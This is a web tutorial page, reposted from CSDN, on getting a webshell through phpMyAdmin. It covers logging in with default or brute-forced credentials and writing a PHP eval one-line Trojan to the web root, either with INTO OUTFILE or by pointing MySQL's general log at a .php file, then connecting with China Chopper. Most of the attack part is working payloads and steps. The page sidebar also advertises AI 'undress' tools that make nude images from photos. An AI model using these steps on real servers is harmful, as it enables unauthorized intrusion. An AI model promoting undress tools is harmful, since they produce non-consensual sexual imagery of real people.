search
HomeDatabasephpMyAdminPhpMyAdmin background getshell (penetration test)

The following is the tutorial column of phpmyadmin to introduce you to PhpMyAdmin background getshell (penetration test). I hope it will be helpful to friends in need!

PhpMyAdmin Introduction

PhpMyAdmin is based on PHP and structured in Web-Base. The MySQL database management tool on the website host allows administrators to use the Web interface to manage the MySQL database. This web interface can be a better way to input complex SQL syntax in a simple way, especially when it comes to importing and exporting large amounts of data.
PhpMyAdmin background getshell (penetration test)
After collecting and detecting the target information, when it is found that the phpmyadmin directory exists (try: http://ip:port/phpmyadmin/), then After entering the management background through a weak password (, you can directly try the account root password root) or brute force cracking, there are many ways to getshell.
PhpMyAdmin background getshell (penetration test)

into outfile export Trojan

If you want to insert a Trojan inside the website, the premise is that you have to know the absolute path of the website. There are many methods, such as obtaining the path by reporting an error, and passing phpinfo.php and so on (please refer to another blog post: https://blog.csdn.net/weixin_39190897/article/details/99078864).

The most convenient way is to use select @@basedir; to check directly (but sometimes you can’t find it out, you can only find other methods):
PhpMyAdmin background getshell (penetration test)

According to the above feedback, we can see that the location of MySQL is in the D:\soft\phpStudy\MySQL\ directory.

After obtaining the website path, you can attempt to upload the Trojan. The most commonly used method is to write a sentence of Trojan directly on the root directory of the website through into outfile:

select '<?php eval($_POST[cmd]); ?>' into outfile 'D:\soft\phpStudy\www\xxx.php';

But in the new version In mysql, this sentence did not run successfully.
PhpMyAdmin background getshell (penetration test)
Mysql new features secure_file_priv will have an impact on reading and writing files. This parameter is used to limit import and export. We can use the show global variables like '%secure%'; command to view this parameter:
PhpMyAdmin background getshell (penetration test)
When secure_file_priv is NULL, it means that Mysql is not restricted Import and export are allowed, so an error occurs. To make the statement export successfully, you need to modify the my.ini file in the Mysql folder and add secure_file_priv ="" to [mysqld]:
PhpMyAdmin background getshell (penetration test)
When the value of secure_file_priv has no specific value, it means that there is no restriction on the import|export of mysqld, and the export command can be executed at this time.

Using Mysql log files

Mysql version 5.0 and above will create log files, and you can also getshell by modifying the global variables of the log. But you must also have read and write permissions on the generated logs. (Note: The personal test on Linux was unsuccessful due to permission issues). First, let’s introduce two MySQL global variables: general_log and general_log file.

  1. general log refers to the log saving status, ON means open, OFF means closed;
  2. general log file refers to the log save path.

Command to view log status: show variables like '%general%';
PhpMyAdmin background getshell (penetration test)## In the above configuration, when general is turned on,
The executed sql statements will appear in the WIN-30DFNC8L78A.log file.

Then, if the value of general_log_file is modified, the executed sql statement will be generated correspondingly, and then getshell will be generated.
PhpMyAdmin background getshell (penetration test)PhpMyAdmin background getshell (penetration test)
Correspondingly, the xxx.php file will be generated
PhpMyAdmin background getshell (penetration test)
Write a sentence Trojan into the xxx.php file: SELECT '<?php eval ($_POST["cmd"]);?>'
PhpMyAdmin background getshell (penetration test)
Then you can see the Trojan horse statements recorded in the log file:
PhpMyAdmin background getshell (penetration test)Finally, China Chopper connects, getshell :
PhpMyAdmin background getshell (penetration test)

The above is the detailed content of PhpMyAdmin background getshell (penetration test). For more information, please follow other related articles on the PHP Chinese website!

Statement
This article is reproduced at:csdn. If there is any infringement, please contact admin@php.cn delete
phpMyAdmin and SQL: Exploring the ConnectionphpMyAdmin and SQL: Exploring the ConnectionApr 19, 2025 am 12:05 AM

phpMyAdmin manages MySQL databases by generating and executing SQL statements. 1. The user operates through the web interface, 2.phpMyAdmin generates SQL statements, 3. Sends to the MySQL server for execution, 4. Returns the result and displays it in the browser.

phpMyAdmin: Key Features and Capabilities ExplainedphpMyAdmin: Key Features and Capabilities ExplainedApr 18, 2025 am 12:04 AM

phpMyAdmin is a web-based MySQL database management tool that allows users to manage databases through a graphical user interface (GUI). 1. It interacts with the MySQL database through PHP scripts, converts user operations into SQL queries and renders the results. 2. Basic usage includes creating databases and tables, such as creating databases named 'my_database' and 'users' tables. 3. Advanced usage supports complex queries and user permission management, such as finding users with specific user names. 4. Common error debugging techniques include checking SQL syntax, managing permissions, and viewing logs. 5. Performance optimization suggestions include index optimization, query optimization and ensuring security.

phpMyAdmin's Interface: Simplifying SQL OperationsphpMyAdmin's Interface: Simplifying SQL OperationsApr 17, 2025 am 12:01 AM

phpMyAdmin simplifies SQL operations through a graphical interface and improves database management efficiency. 1) Provide an intuitive GUI without directly writing SQL statements; 2) Interact with MySQL through PHP scripts to transparently handle complex operations; 3) Support basic operations such as creating tables and advanced functions such as data export. Pay attention to permissions and SQL syntax errors when using it, and optimize queries, regular backups and ensure security settings.

SQL and phpMyAdmin: A Beginner's GuideSQL and phpMyAdmin: A Beginner's GuideApr 16, 2025 am 12:02 AM

Beginners can learn SQL and phpMyAdmin from scratch. 1) Create database and tables: Create a new database in phpMyAdmin and create tables using SQL commands. 2) Execute basic query: Use SELECT statement to query data from the table. 3) Optimization and best practices: Create indexes, avoid SELECT*, use transactions, and regularly back up databases.

MySQL, phpMyAdmin, and Database Administration: A GuideMySQL, phpMyAdmin, and Database Administration: A GuideApr 15, 2025 am 12:01 AM

MySQL and phpMyAdmin are powerful database management tools. 1.MySQL is an open source relational database management system, and phpMyAdmin is a MySQL management tool based on the Web. 2.MySQL works through the client-server model, and phpMyAdmin simplifies database operations. 3. Basic usage includes creating tables and data operations, and advanced usage involves stored procedures and triggers. 4. Common errors include SQL syntax errors, permission issues and performance bottlenecks. 5. Optimization techniques include reasonable use of indexes, optimized query, regular maintenance and backup and recovery.

phpMyAdmin: Unveiling Its Relationship to SQLphpMyAdmin: Unveiling Its Relationship to SQLApr 14, 2025 am 12:11 AM

phpMyAdmin implements the operation of the database through SQL commands. 1) phpMyAdmin communicates with the database server through PHP scripts, generates and executes SQL commands. 2) Users can enter SQL commands in the SQL editor for query and complex operations. 3) Performance optimization suggestions include optimizing SQL queries, creating indexes and using pagination. 4) Best practices include regular backups, ensuring security and using version control.

phpMyAdmin: Enhancing Database ProductivityphpMyAdmin: Enhancing Database ProductivityApr 13, 2025 am 12:04 AM

phpMyAdmin improves database productivity through an intuitive web interface: 1. Simplify the creation and management of databases and tables; 2. Support complex SQL queries and data operations; 3. Provide relationship view functions to manage table relationships; 4. Optimize performance and best practices to improve efficiency.

phpMyAdmin's Purpose: Managing MySQL Databases with EasephpMyAdmin's Purpose: Managing MySQL Databases with EaseApr 12, 2025 am 12:14 AM

phpMyAdmin is a web-based MySQL database management tool. 1. It supports basic CRUD operations and advanced features such as database design and performance optimization. 2. Run through the web server, accept user input and convert it to MySQL commands. 3. The basic usage includes creating a database, and the advanced usage supports query optimization. 4. Common errors such as insufficient permissions can be solved by checking user permissions. 5. Performance optimization includes index optimization, query optimization and database design.

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Tools

SecLists

SecLists

SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

WebStorm Mac version

WebStorm Mac version

Useful JavaScript development tools

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

Powerful PHP integrated development environment

Safe Exam Browser

Safe Exam Browser

Safe Exam Browser is a secure browser environment for taking online exams securely. This software turns any computer into a secure workstation. It controls access to any utility and prevents students from using unauthorized resources.

MinGW - Minimalist GNU for Windows

MinGW - Minimalist GNU for Windows

This project is in the process of being migrated to osdn.net/projects/mingw, you can continue to follow us there. MinGW: A native Windows port of the GNU Compiler Collection (GCC), freely distributable import libraries and header files for building native Windows applications; includes extensions to the MSVC runtime to support C99 functionality. All MinGW software can run on 64-bit Windows platforms.